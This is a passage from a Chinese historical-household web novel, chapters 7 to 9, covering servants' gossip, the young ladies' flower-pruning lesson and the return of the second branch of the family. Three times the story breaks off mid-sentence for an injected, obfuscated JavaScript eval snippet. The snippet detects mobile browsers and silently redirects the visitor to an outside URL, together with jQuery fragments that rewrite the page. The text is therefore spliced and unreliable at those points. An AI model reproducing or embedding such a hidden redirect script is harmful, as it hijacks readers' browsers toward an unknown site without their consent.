《锦堂春慢》 7. 第七章 清晨时分,庆祥侯府的大厨房热火朝天,忙碌不歇。 三个丫鬟踏进屋里,厨房的管事娘子一眼便认出为首的是老夫人身边的春桃。 春桃是家生子,爹娘是侯爷和老夫人身边得用的人,管事娘子自然不敢得罪,连忙迎上前笑问:“春桃姑娘怎么来了?” 她看向春桃身边的两人,“这二位是?” 春桃指着二人道:“这是姑奶奶身边的霜菊和表姑娘身边的秋月,我带她们过来认认人。” 侯府的规矩,各房小厨房做些汤汤水水不算,所有主子的饭菜都由大厨房准备,装盒后或由厨房遣人派送,或由各个院子派人来取,春桃这便是领着人来认路了。 霜菊和秋月赶紧给管事娘子问安,管事娘子笑着道:“都是伺候主子的人,可不敢受这样的礼。” 嘴上客气,却也没有躲,霜菊和秋月不敢怠慢,还是行了全礼。 管事娘子瞧了瞧灶上的进度,转头对几人笑道:“几位今儿来的早了些,湛露院的饭菜还没备好,不过就快了,还请姑娘们稍等片刻。” 霜菊点了点头,道过谢后便带着秋月在外头安静候着。 春桃在屋里四处寻摸了一圈,果然在厨房另一头瞧见了自己的嫂子。 春桃嫂子是个负责洗菜切菜的帮厨,这时候活计已经差不多干完了。 春桃跟两个丫鬟说了一声,自己走过去跟嫂子打了招呼,两人转到角落凑在一块儿说话。 厨房占地极大,又烟熏火燎乒乒乓乓的,压低了声音也不怕别人听见。 春桃嫂子摸了一小把花生分给春桃,边吃边问,问她,“你在湛露院怎么样?” “别提了。”春桃说起这个就觉得晦气,“也不知道我这是什么运道,那么多人,偏就把我指了过去。” 春桃嫂子听她语气不好,不由皱了眉,小声问,“姑奶奶不好伺候?” “那倒不是,”春桃轻轻撇了撇嘴,“土包子而已,没什么不好伺候的,看我是老夫人的人,也不敢亏待我。” 春桃嫂子纳闷,“这不是挺好的吗?你现在也是一等大丫鬟了。” “可我补的是表姑娘身边的缺啊!”春桃长叹,“跟着这样的主子,能有什么好处?” 她语气不甘,“不是我自夸,以我的品貌,本来以为能分进哪个少爷房里伺候,没成想老夫人竟把我给了一个不知道哪里冒出来的寒酸亲戚!唉,嫂子你说,这不就是戏文里写的明珠暗投?” 春桃嫂子不由打量起自己的小姑子,少女杏脸桃腮,脖颈粉嫩白皙,掐身的葱绿短衫勾勒出细细的纤腰和鼓鼓的胸脯,确实是难得的好颜色。 那头春桃还在抒发自己的不快,“……听说表姑娘在杭州被退了亲不说,还坏了名声找不到好亲事,”她带了点恶意的揣测,“也不知道是因着什么,可别是什么不光彩的吧……” “欸!”春桃嫂子听到这儿连忙打断,“再怎么样,表姑娘也是官宦人家的千金小姐,咱们可不敢胡乱猜测。” 春桃撇了撇嘴,不以为意,“她父亲生在土里刨食的人家,还是被过继出去之后才有机会读书,撞大运考出一个进士,死前也不过一个地方的五品官,哪里能跟咱们侯府比?更别说现在人都没了!” 说到这,春桃想起什么,“说来也是奇怪,你说那位惠姑奶奶虽是庶房出身,也是堂堂侯府的女儿,怎么当年就嫁了一个穷举人?偏还是个命短的!” “这……咱们哪里知道主子的想法,许是别有原故吧。” 春桃嫂子讪笑,嘴上应和着,心里却不敢苟同。 举人怎地了?当年那位姑爷中举时不过才二十出头,二十岁的举人,不被称作天才,也当得一句人中龙凤。 果不其然,姑爷刚刚而立便中了进士做了官老爷,要不是父母接连去世,守孝耽误了四五年,说不定中的更早呢! 更何况姑奶奶这么多年就表姑娘一个女儿,没有儿子,却也不见姑爷纳妾,这才是真正值得托付终身的人。 只可惜老天不开眼,好人不长命,好好的人竟这么早就去了。 春桃还待说什么,春桃嫂子连忙抬了抬下巴打断她,“你瞧瞧,饭食是不是已经备好了?” 春桃伸长脖子一看,早膳果真已经准备停当,便将剩下的花生递回给了嫂子,起身跟她告别,向外走去。 侯府虽富贵,用度却不奢靡浪费,早膳吃得简单,管事娘子亲自装了三个大红油漆食盒递了过来。 春桃顿了一下,不是很想上手。 秋月本来跟霜菊各自提了一个,见状又赶紧接过第三个,对春桃笑道:“哪里能麻烦春桃姐姐做这样的粗活,我们来就可以了。” 春桃这才满意颔首,“走罢。” 回到湛露院,伍妈妈看见秋月提着两个大食盒,春桃却手上空空的时候,眼底划过一丝不满。 不过她什么也没说,换上笑意迎接了三人,帮着摆饭。 汤婵这时已经起身,给汤母请过安,二人略用了些早膳,待时辰差不多,便一同出门给老夫人请安。 春桃刚想跟着汤婵,便听汤婵对她笑道:“今天好像要去上学呢,春桃姐姐在院里歇息吧,我带着秋月便是。” 侯府给几个姑娘聘了一位女先生,平日里姑娘们会凑在一起识字读书做针线,老夫人昨儿特意派人来说,让汤婵跟着表妹们一起。 姑娘们上学,丫鬟便要一直跟在一旁端茶递水、伺候笔墨。虽然春桃想去老夫人面前露露脸,但想到要伺候汤婵,躲懒的心思便占了上风。 她顺着汤婵的意思留了下来,只是面上依旧故作遗憾道:“可惜我不识字,不能伺候姑娘了。姑娘若是有事,打发小丫鬟来问我便是。” 汤婵笑着点头。 …… 福禧堂里,侯夫人正在同老夫人说着什么,庞雅、庞妍和庞秀这几个大点的姑娘都在一旁认真聆听。 这时外头通传,汤母跟汤婵到了。 汤母进门后才发现她跟汤婵似乎打断了正事,不由有些不好意思,“我们是不是来得不巧?” “没有的事。”老夫人笑着招呼,“快坐吧,婵姐儿的年纪,也该学学这些了。” 原来侯夫人正跟老夫人汇报府中庶务,顺便叫姑娘们都来听听,用老夫人的话说,“耳濡目染,以后嫁人才不会手忙脚乱。” 如今正是月末,侯夫人说了这个月府里大概的开支用度,又讲了下个月的安排,“……针线房该裁下季的衣裳了,还是按着往年的惯例,姑娘和哥儿们每人六套,丫头小厮一人两套……” 老夫人听到这问:“可给婵姐儿做了?” 侯夫人笑道:“老太太放心,这我再不敢忘的,已经吩咐下去叫针线房给婵姐儿量身了。” 汤母连忙推拒道:“这怎么好意思,婵姐儿的四时衣裳我都提早备了的。” 老夫人闻言,心中满意,语气也带出几分,“你是个懂事的,可南方的秋冬哪里能和北边比呢?”说着吩咐侯夫人道,“挑些好料子给婵姐儿做几件厚衣裳,再挑件好皮子,给婵姐儿做件斗篷。” 侯夫人笑应道:“我记得了。” 汤母十分不好意思,连忙拉着汤婵道谢。 老夫人笑道:“行了,惠娘留下来陪我说说话,婵姐儿去跟妹妹们一起上学吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405507|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>* 汤婵跟着其他三人从福禧堂出来,最年长的庞雅主动领路,边走边轻声细语地跟汤婵讲起学堂。 “……读的东西倒是不拘女四书、列女传一类,曾娘子偶尔也会讲解一些古贤诗集、辞赋骈文。不过咱们家的姑娘,不流行诗酒文社附庸风雅那一套,诗词只是小道,还是要在女儿家的技艺下功夫。” 侯府是勋贵之家,却不算书香门第,女儿家并不精于吟诗作赋,更多的功课是女红针黹、梳妆打扮、品茗插花等等,用来培养审美,陶冶情操。 汤婵了然,都是些贵妇必修课嘛。 庞雅又说起了老师,“府上给咱们聘的女先生姓曾,我们叫她曾娘子,脾性最是温和不过,很是让人尊敬。” “曾娘子生在书香门第,家学渊源,待嫁闺中时便小有才气,后嫁给了家中世交之子。”庞雅说着,遗憾地叹了口气,“只是她嫁人之后不久,夫君一家人都在一场瘟疫里相继去了。” 汤婵并不算意外,这年头,女人只有成为寡妇才好出来上班。 庞雅接着道:“曾娘子与夫君情好甚笃,不愿听娘家安排再嫁,幸而学识丰富,便开始在富贵人家给闺阁小姐们做女先生。三年前,曾娘子被母亲聘用,自此客居在侯府……” 说话间,几人到了上课的小院。 一过月亮门,入眼便是郁郁葱葱的翠竹。院子名字便叫绿筠轩,占地不大,但景色十分雅致,气氛幽静宁谧,是个很适合读书的地方。 一行人沿着青石板路走进正屋,曾娘子已经在了。 她是个三十多岁的妇人,长相和善,气质温婉,未语先笑。 看到汤婵,曾娘子笑着主动招呼道:“是婵姐儿吧?” “正是,”汤婵见礼,“见过娘子。” 曾娘子回了礼,含笑道:“快坐下吧,不必拘束,有什么不懂的问我便是。” 汤婵道谢后依言入座,座位正在庞雅旁边,曾娘子则先是查看之前留给几位姑娘的课业。 丫鬟们将自家姑娘的功课放在桌上,汤婵瞧了一眼庞雅的,是一张临摹的字帖。 原来侯府的姑娘们也会练字。 只是看庞雅临的帖,只能算中规中矩,不过曾娘子似乎已经十分满意,“很好。” 她看向庞雅的眼神里满是喜爱,不难看出,庞雅这位学生十分得她的心意。 庞雅微微一笑,不骄不躁,“谢过娘子。” 虽然庞雅更看重德言容功,觉得习字跟诗词一样,没什么实际用处,但只要曾娘子布置了,她就会力求最好。 轮到二姑娘庞妍,桌前却是干干净净,但她毫无愧疚之色,对曾娘子道:“昨日有事耽误了,没能来得及做。” 曾娘子颔首表示知晓,丝毫没有不悦的迹象,依旧温和道:“无碍,回头补上便是了。” 汤婵若有所思,看来果真如庞雅所说,侯府的姑娘们并不看重所谓的才气,曾娘子为人也确实宽和,脾气很好。 最后的四姑娘庞秀完成了功课,但看表情却有些紧张,也不知道是不是觉得自己写得不好。 不过有庞妍在前,肯做功课的庞秀已经是好学生了,她年纪又还小,曾娘子夸赞了一句不错,只稍微点出两处不足之处。 庞秀肉眼可见地松了一口气,随即有些害羞道:“谢娘子指点。” 最后汤婵刚来,自然查无可查,曾娘子便准备开始讲课。 不过她今日倒没有讲书,而是招呼婆子,在每个人桌前摆了一盆月橘。 汤婵吸了吸鼻子,色泽洁白的月橘开得正盛,芬芳馥郁,沁人心脾。 想来今天的主角便是它了。 8. 第八章 “盆景之美,贵在自然和谐,修剪时既要使得花叶枝杈疏密得当,也要避免矫揉造作……” 曾娘子讲解着修剪花卉的要点,一边讲,一边做着示范。 汤婵还是第一次接触这样闲情逸致的活动。 她以前打工忙得要死,每天回家都是半夜,周末加班更是常态,根本没时间发展什么爱好,故而此时尝试新东西,只觉得新鲜不已,兴致勃勃地听了个热闹。 一旁的庞雅更是专注,唯恐错过一句,还时不时地跟曾娘子交流提问,曾娘子也细心作答。 庞妍却是百无聊赖地拄着下巴,她一边发呆,一边揪着月橘的花枝,一看便是什么都没听进去。 过了不知多久,等庞妍回过神,曾娘子已经讲完,转而让姑娘们自己动手尝试。 汤婵瞧着眼前的这盆花,左看右看都觉得已经挺好,便只不痛不痒地剪去了几根枝杈。 曾娘子看了不由笑道:“顺其自然,倒也不错。” 她这样明显的摸鱼,曾娘子都能找出话来夸赞,汤婵嘴上客气,心中叹服。 一旁的庞雅投来视线,不过等看清汤婵的盆景样子后,便又失去了兴趣,转过去专心琢磨自己眼前。 她刚刚听得最认真,心中也最有想法,斟酌片刻,便开始动剪子。 曾娘子看着,嘴角慢慢带上笑意,暗自点头,转过头去看还没动作的庞秀。 另一边,庞妍想也不想,对着花枝一通乱剪。 月橘早先经历过一番辣手摧花,再经此一遭,可谓雪上加霜,等庞妍收手时,已经变得像被狗啃过一样。 “哎……无聊。” 庞妍撇嘴,心头愈发不耐烦。 实在待不下去,她对正指导庞秀的曾娘子道:“娘子,我身子不适,今儿就先回去了。” 庞妍一直是个三天打鱼两天晒网的,曾娘子对她的早退不以为意,不仅马上就应下,还温声嘱咐道:“好生休息,注意身体。” …… 从绿筠轩出来,庞妍往自己院里走,半路想到什么,拐了个弯往侯夫人院里去了。 庞妍进门的时候,侯夫人刚着人翻完库房,找出一些好料子正挑选。 她指着其中一份吩咐丫鬟,“这个留给表姑娘。” 见庞妍来了,侯夫人不自觉露出笑意,“你怎么来了?不是在上学?” “这几日都在呢,好生没劲。”庞妍撇了撇嘴,坐到母亲身边,“娘在做什么?” 侯夫人倒不在意庞妍早退。 大家闺秀上学,并不指望成为女秀才,更多是不做睁眼瞎,陶冶陶冶情操罢了。 对她们来说,跟着母亲学习管理庶务,操持家里,迎来送往,人情交际,为日后出嫁作准备,才是最要紧的。 侯夫人道:“这不是老祖宗吩咐下来,给你表姐挑料子呢。” 庞妍一眼就瞧中了刚刚侯夫人分出去的织金云锦,不由拈酸道:“娘可真是舍得,好东西不留给自己,反倒给一个不知道哪来的穷酸亲戚。” “虽然是亲戚,可寄居咱们家,走出去代表的就是侯府的脸面。”侯夫人教导女儿,“若是有不体面之处,被别人瞧见,传成咱们侯府苛待就不好了。” 见庞妍还是噘着嘴不高兴,侯夫人无奈,伸出手指点点她的额头,“你这护食的样子,究竟是像了谁?” “再说你也不想想,娘能忘了你吗?过些日子是你的生辰,我早就把最好的留给你,吩咐下去给你做新衣裳了。” “真的?” 庞妍这才欢喜起来,一副小女儿模样跟侯夫人撒娇卖乖,“娘对我最好啦!” 侯夫人不由失笑,“好啦好啦!” “夫人,”忽然听外头急急忙忙来禀告,“夫人,三少爷从学堂回来,似是病了,请您过去看看!” “什么?”侯夫人登时站了起来。 她再顾不得和女儿说话,急急忙忙往外走,“请了大夫没有?下人是怎么照看的,竟能把人照看生病……” 被落下的庞妍眼中划过一抹失落,不过片刻后她便撇撇嘴,恢复了往日骄矜的表情,起身回了自己的院子。 等侯夫人确认过儿子只是闹肠胃,并无大事后才回来。 回来时庞妍已经不在了,侯夫人想到什么,有些头疼。 也不知怎地,别家都是兄弟姐妹友爱,可轮到自家,女儿好像总是不怎么亲近弟弟。 虽说妍姐儿对其他兄弟姐妹也不亲近,可适哥儿是她同母的亲兄弟,又怎么能一样?以后妍姐儿嫁到婆家,还是要靠娘家兄弟撑腰的,关系不好怎么行? 侯夫人不由犯愁,不过很快她便被打断了思绪,只听外头又来人禀告,“二老爷一家回来了!” * 汤婵进到老夫人正房时,众人刚刚哭过一场,此时老夫人正抹着眼睛,瞧二房众人挨个给她磕头问安。 屋里乌泱泱的全是人,老夫人跟前的一对风尘仆仆的中年男女,便是二房夫妻了。 二老爷庞弘义三十过半的年纪,长得高大严肃,身上带着武将独有的气势。二夫人方氏长相不显,但一双眼睛十分有神,看着应当是位精明圆滑的人物。 二夫人身后一个跟着一个身怀六甲的年轻妇人,这是二老爷在福建新纳的姨娘,母凭子贵,这时也来拜见老夫人了。 见完儿子儿媳,老夫人又转向孙辈。一个年纪十三四岁,杏眼圆脸,生得珠圆玉润的姑娘往老夫人身前一扑,“老祖宗,盈儿想霎您啦!” “哎呦!” 老夫人乐得将人搂住,“老祖宗也想你!” 二老爷一共有五个儿子,但只得了一个女儿,正是在老夫人怀里的庞盈。 她叽叽喳喳跟老夫人说着话,声音清脆,瞧着是个活泼爽利的姑娘。 庞盈比庞妍小半年,在姑娘里头行三,因是二老爷唯一的掌上明珠,在家中很是得宠,不仅父母,哥哥弟弟都纵着他们这个唯一的姐妹。 庞盈之后,二房五个兄弟也跟老夫人一一见过。前头三个大的跟庞盈一样,同为二夫人所出,后头两个庶子都还小,一个三岁,一个还在吃奶,被奶娘抱着跟老夫人问了安。 庞妍却没有分神注意这些堂兄弟。 从见到庞盈起,她便一眼不错地盯着庞盈身上的穿戴。 对方头饰耳饰上的珍珠圆润光泽,成色极好,胸前金璎珞上镶嵌了各色宝石,抬手间露出的翡翠镯子也是难得的珍品。 这还只是日常的用度打扮,她这个侯爷的女儿竟都比不上! 庞妍揉着帕子,心里又酸又妒,眼睛都要红了。 侯夫人冷眼瞧着,心里也不平静,看来这些年二房在福建发了不小的财。 不过再如何,二房也压不过承爵的大房。 侯夫人面上露出亲切的笑意,等众人给老夫人问完安,便对二房夫妻道:“老祖宗知道你们要回京的消息,天天盼,夜夜盼,早早便让我把和风院收拾出来,还亲自去看过好几回,生怕怠慢了二弟和弟妹一家子,如今可算把你们盼回来了!” “有劳嫂子费心了,”二夫人先是道谢,随即眼眶又红了,“知道老太太念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405508|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,咱们一家子在福建时,也日日许愿老太太身体康健,老爷每次跟儿媳提起老太太,都要自责自己不孝……” 一番话惹得老夫人又要抹眼睛,侯夫人赶紧在一旁宽慰解释,“而今二弟一家回京,以后便是团圆了,这是好事呢!” 二夫人这才止住,笑道:“说的是,以后便能时刻在老太太身前尽孝了!” 老太太笑道:“好好好,只要你们好好的就好。” 大房二房众人一一见礼,二房又与汤母汤婵见过。 屋中欢声笑语,气氛热烈,老夫人年纪大了,最喜欢这样一家和睦的景象,她看着人丁兴旺的孙辈,脸上的笑就没下去过。 只是二老爷要进宫面圣,还另有应酬,这便要出门去了。女眷们则继续依旧凑在一起说话,又一起用了膳,直到天色不早,才各自散去。 …… “咦,这哪来的孩子?” 从福禧堂出来,汤婵跟汤母一同走回湛露院。湛露院地角相对偏僻,一路过来都没什么人,此时却突然看到一个小小的身影。 他蹲在一棵槐树下,正撅着屁股冲着树根,不知道在看些什么。 小孩听见动静,转过头望了过来。 汤婵仔细一看,“等会儿,这不是二房的骁哥儿吗?” 骁哥儿是二房的老四,将将三岁,刚刚给老夫人请过安后,骁哥儿便被奶娘带下去歇息,怎么跑到这里来了? 汤母也认出来了,她四处张望,却没能在附近看见奶娘,脸色不由微变,“这孩子怎么自己跑出来了?” 秋月赶紧上前几步,把孩子领了过来。 许是几人面善,骁哥儿并没有躲,乖乖被牵到了汤婵二人面前。 “怎么傻乎乎的,”汤婵有点想笑,“怕是被卖了还帮人数钱呢。” “欸,”汤母轻嗔,“可不好这样说。” 小豆丁是个标准的三头身,胖乎乎的,脸蛋又白又嫩,葡萄似的大眼睛水灵灵的,看得汤母心都软了,“刚刚才见过,肯定是认得咱们呢。” 可能真是认出了汤婵,骁哥儿盯了汤婵一会儿,突然对她伸出小手,“牵!” 汤婵一乐,忍不住弯腰逗他,“把你偷回家好不好?” 骁哥儿听懂了,摇头,“不好!回我家!” “得,”汤婵笑着起身,“这是使唤苦力呢。” “赶紧把他送回去吧,”汤母眼神柔和地看着骁哥儿,“大人发现孩子不见了,还不知道要怎么着急呢。” 汤婵点头,“您回去歇着,我跑一趟吧。” 汤母见骁哥儿亲近汤婵,也就没争,只嘱咐她看好骁哥儿,早去早回。 汤婵牵着三头身往和风院走,不过没一会儿,小孩儿就晃了晃汤婵牵着他的手,“累了,走不动。” 汤婵挑眉,干脆把骁哥儿抱了起来。 小孩儿懵了一下,懵完倒也没反抗,反而把胖脸蛋贴在汤婵的颈窝处。 “哎呦喂,”汤婵忍不住笑,继续逗他,“真不跟我回家?” 骁哥儿撅着个嘴,没理她。 一旁的秋月见汤婵这么喜欢孩子,不由笑道:“姑娘以后定然跟自己的孩子相处得来。” “可别,”汤婵摇头敬谢不敏,“孩子这玩意儿,都是别人家的好,自己的就不是那么回事了。” 秋月不解,“姑娘这是哪里话?别人家的孩子哪里有自己的亲?” “唔,快到地方了。” 汤婵没再解释,而是岔开了话题,颠了颠怀里的小宝贝,“走,送你回家。” 9. 第九章 和风院。 庞盈扶着二夫人坐下,美滋滋地跟母亲感慨:“许多年不见,老祖宗人越发和善了呢。” 二夫人接过丫鬟端上来的茶,闻言却笑了,“怎么,你竟以为老太太是真心对咱们好?” 庞盈微微一愣。 二夫人看着心思单纯的女儿,不由微叹道:“盈儿,你可要好好学着点,老太太才是整个府里最精的呢。” 庞盈面露不解,“母亲这话怎么说?” 二夫人抿了口茶,将事情掰碎了解释给庞盈听,“老太太自己的儿子烂泥扶不上墙,若没有你爹爹撑着,这庆祥侯府早不知道落魄到哪去了。” 说到这,她的笑容有些冷,“老太太把庶子记在名下,待之如亲子,这便是施恩——记名永远是记名,老太太再怎么疼爱,也越不过真嫡子去,而你爹爹要被一辈子吸血,还得对老太太感恩戴德。” 庞盈听得嘴巴张开:“这……” 她的反应惹得二夫人一笑,她起了谈兴,跟女儿说起了多年前的往事,“别看老太太现在慈眉善目的,到底是出身郡王府的郡君,年轻时可是个狠角色。当年老侯爷于女色上不太节制,府里莺莺燕燕,都在老夫人面前耀武扬威,可你瞧瞧,这些宠妾里有几个诞下了子嗣?唯一一个你爹爹,还被老夫人拢在膝下。老侯爷一走,老太太转头就将后院里不省心的全卖了,当年风光无限的,如今又是什么境遇?” 庞盈听得入神,二夫人叹了口气,“侯爷跟你爹爹别的不说,女色这方面倒是省心,怕是儿时瞧见了老太太的难处。” “——扯远了,”她看着庞盈,话里满是语重心长,“娘跟你说这些,是你也到了议亲的年纪,以后嫁了人,该做到心里有数。虽说娘一定会给你找个好夫婿,但男人素来喜新厌旧,你要记住,妾室没什么要紧,子嗣才是立身之本。” 到底年纪还小,提起亲事,性子再爽利的庞盈也羞红了脸。 但她知道母亲刚刚话里的重要性,还是认真地点头,“女儿都记得了。” 二夫人慈爱地拍了拍女儿的手,“好了,天色不早,快回去休息吧。” 庞盈刚走,二夫人正要去外院瞧瞧儿子们的住处,却听外头一阵吵嚷声由远及近。 “二夫人!”有人慌慌张张来报,“夫人不好了,骁哥儿不见了!” “什么?” 二夫人腾地站起来,“怎么回事,奶娘和丫鬟都哪里去了?怎么连一个孩子也看不好!” 来报的下人正是骁哥儿的奶娘,此时急得直掉眼泪,“奴婢带着哥儿给老夫人问完安就回了院子,哥儿年纪小,一会儿就犯困了,奴婢把他哄睡之后,就被叫到外头帮忙整理行李,等回屋一看,哥儿就不见了!” 二房带了几整船的东西回来,二房的下人们都在忙着安置,奶娘也被拉了壮丁,孩子睡觉的屋里一时没人看着,一个错眼,人就没了。 这事是奶娘等人疏忽,但此时不是追责的时候,二夫人听完事情经过,冷静分析道:“可能是醒来没见着人,地方又陌生,一时睡糊涂跑出去了——人肯定就在府里,走不了多远!” 她说着就要调动人手去找,只是还没等把话吩咐下去,外头又有人来报,“表姑娘把骁少爷送回来了!” “表姑娘?” 孩子找到了,二夫人心头一松,可想到送人来的是谁,她微微蹙了蹙眉。 不过这个神情一闪即逝,二夫人很快恢复了正常表情,“快请进来。” …… “我同母亲在回院的路上瞧见了他,看他身边没人伺候,像是不知怎地偷偷溜出来的,便赶紧把他送回来。” 汤婵牵着骁哥儿进门,三言两语,跟二夫人解释了来龙去脉。 奶娘看见完好无损的小少爷,心弦一松,泄力后才感觉到腿脚一软,差点一屁股坐在了地上。 骁哥儿看见奶娘,稍微一挣,松开了汤婵的手,迈着小步子向奶娘走去。 奶娘激动地一把搂住骁哥儿。她本以为自己闯了大祸,现在峰回路转,不由满心的感激,只差给汤婵磕头,“多谢表姑娘!” 二夫人也对着汤婵千恩万谢,“真是多亏了你们娘俩,要不是你们恰巧遇见,还不知道会出什么事!” 她褪下手上一个水头极佳的玉镯子送到汤婵手里,“仓促间也来不及备上什么好东西,这镯子你先拿去玩,回头舅母再送你更好的!” 汤婵推拒,“举手之劳而已,您不必这样客气。” 二夫人就故意道:“是不是不喜欢?” 她这样说,汤婵便只好接过,笑着道谢。 等汤婵一走,奶娘带着骁哥儿也退下之后,二夫人脸上的笑便收了起来。 她屏退众人,只叫来自己身边的郑妈妈问话,“打听清楚没有,姑奶奶和表姑娘是怎么回事?” 二夫人是回京路上才得到庶房这对母女投奔侯府的消息,郑妈妈一进府就让人悄悄打听了汤婵母女,此时便将听来的消息细细说了,“……姑爷去了,母女俩立足不易,表姑娘退了婚约,亲事艰难,老夫人瞧着不忍,将二人接进了京,想是要给表姑娘找门亲事。” 二夫人皱了皱眉头。 她突然道:“骏哥儿的媳妇明年就要嫁进京了。” 郑妈妈一愣。 夫人的长子、府里的大少爷庞骏今年十七,已经说了福建左布政使的孙女为妻,婚期就在明年春天,但夫人怎么冷不丁地提起这个? “表姑娘今日帮了大忙,记得再备一份厚礼送过去。”二夫人看了郑妈妈一眼,意有所指,“这段日子多注意着点,表亲之间也要避避嫌,可别闹出什么意外来。” 郑妈妈这才反应过来,二夫人这是怕表姑娘有不该有的心思呢! 她连忙应道:“夫人放心,奴婢都省得。” * 二房回京,姑娘们专属的绿筠轩便多了一个神采奕奕的庞盈。 她跟随父母离京上任时,还不到上学的年纪,这些年在福建,家中又只有她一个姑娘,很是寂寞,如今能跟姐妹们一处玩,庞盈期待极了。 一进门,庞盈便招呼姐妹们,“我带了芝香斋的点心,快来尝尝!” 屋里,庞妍不在,庞雅跟庞秀正在做针线,汤婵在一旁瞧热闹。听见庞盈的话,几人便都放下手中的东西凑过去。 芝香斋是京城的老字号,汤婵伸头瞧了瞧,食盒里除了桂花糕、茯苓饼、龙须酥这些传统糕点,还有一种形状窄长,颜色金黄,长得有点像前世牛舌饼的点心。 “这是芝香斋刚出的新样式吧,”庞雅认了出来,“听说很难买到呢。” “是啊,我叫丫鬟排了许久的队才抢到的,”庞盈笑,“大姐姐快尝尝值不值。” 庞雅拿起一块后尝了一小口放下,笑着夸赞:“确实不错。” 庞盈得到认可,不由心情大好。 庞秀有点不好意思伸手,庞盈见状,直接拿起一个递了过去,“四妹妹尝尝,味道很不错的!” 庞秀羞赧道:“偏了三姐姐的好东西。” 庞盈摆摆手,“这点东西值当什么,都是一家子姐妹,可别这么客气。” 汤婵也尝了一块。 唔,口感酥软,味道咸香,确实不错。 “对了,”庞盈想起什么,对汤婵道,“听说昨儿骁哥儿乱跑迷路,还是表姐帮忙把他送回去的,真是麻烦表姐了!” 汤婵笑道:“你刚刚可都说了,别这么客气。” 庞盈一愣,随即笑弯了眼,“表姐说得是!” 庞秀目光落在庞盈的裙子上,大红百蝶穿花样式的马面裙,绣着金线,间或缀着小颗珍珠,闪亮极了,有些艳羡,“三姐姐的裙子可真好看!” “是吧?”庞盈见新衣裳得了夸赞,特别高兴,“今儿是我第一日和姐妹们上学,特意穿了新裙子呢!” 说到这儿,她想起庞妍,“二姐姐怎么还没来?” 说曹操曹操到,话音刚落,一个身影便迈进了屋,正是庞妍。 然而看清庞妍的穿着,众人的表情顿时变得有点微妙——庞妍今日穿的裙子,竟然颜色样式跟庞盈一样,只庞盈的裙子不止是新的,用料做工上,也比庞妍的要好! 庞妍立时便黑了脸。 庞盈却没想那么多,第一反应是惊喜,“二姐姐也有这件裙子?” 等发现庞妍面色难看,庞盈才猛地反应过来,暗叫不好,对方怕是介意这种情况! 她脑中急转,连忙补救,笑着夸道:“二姐姐身材苗条,穿红可比我好看多了!” 庞妍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405509|184440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着庞盈,皮笑肉不笑地扯了下嘴角,到底压抑着没发作。 她敷衍应了一句,便径直坐到自己座位上。 庞盈不由有些尴尬。 庞雅知道庞妍从不把她这个长姐放在眼里,自是不可能听她说话,只好保持沉默,省得惹来庞妍的脾气。庞秀需要在嫡母手里讨生活,也不敢开口。汤婵一个外人,更不会凑这个热闹。 于是刚刚姐妹和乐的气氛半点不剩,好在这时,一个跑腿的小丫鬟打破了僵局。 “见过各位姑娘。”小丫鬟边行礼便道,“奴婢来给曾娘子传话,娘子身体有些不适,不得不告假,今日请各位姑娘自选功课完成便是。” “知道了,”庞雅替众人接话道,“有劳你帮我们转达娘子,请她多注意身体。” 小丫鬟点了点头,告退了。 庞妍听到这个消息,立时便想回去。丫鬟彩云听了吩咐,便赶紧把刚摆出来的文具收好。 不过她动作间有些忙乱,只听“啪”的一声,瓷质笔架被她不慎打翻在地,摔裂了一个小角。 庞妍心头火气本就未消,见状更是烦躁,抬手便给了彩云一巴掌骂道:“笨手笨脚的,要你何用?” 彩云被打得脸一偏,眼圈霎时红了,却也不敢捂脸,连忙低头认错。 她们动静不小,众人的注意力都被引了过来。 庞盈看着不忍,知道丫鬟大半是替她受过,忍不住开口道:“她也不是有心的,二姐姐惩诫两句便是,何必动手?” 庞妍冷冷睨了她一眼,扯出一个冷笑,“我教训我自己的丫鬟,用你来假好心?” 庞盈皱起眉,刚想开口反驳,坐在旁边的汤婵暗自扯了一下她的衣角。 再说下去,等于火上浇油,庞妍反而更要把气撒在丫鬟头上。 庞盈得了提醒,也想通了这一层,只好不说话了。 庞妍却依然憋着火。 她盯着庞盈的裙子,只觉得上头的金线愈发刺眼。 耳边不由响起母亲的话,“……福建可是靠着朝廷唯一没有海禁的广州港口,二房这么多年在福建,定然没少做外海生意发财……” 区区二房,却比承爵的嫡脉主枝还要招摇,世间哪有这样的道理? 看着彩云正要把墨锭收起,庞妍突然开口:“等等,不用收了。” 她抬了抬下巴,“都摆回去,我要练字。” 彩云闻言一愣,不知主子为何突然改了主意,但她不敢多说什么,连忙点头动作起来,小心翼翼地再次将东西摆好。 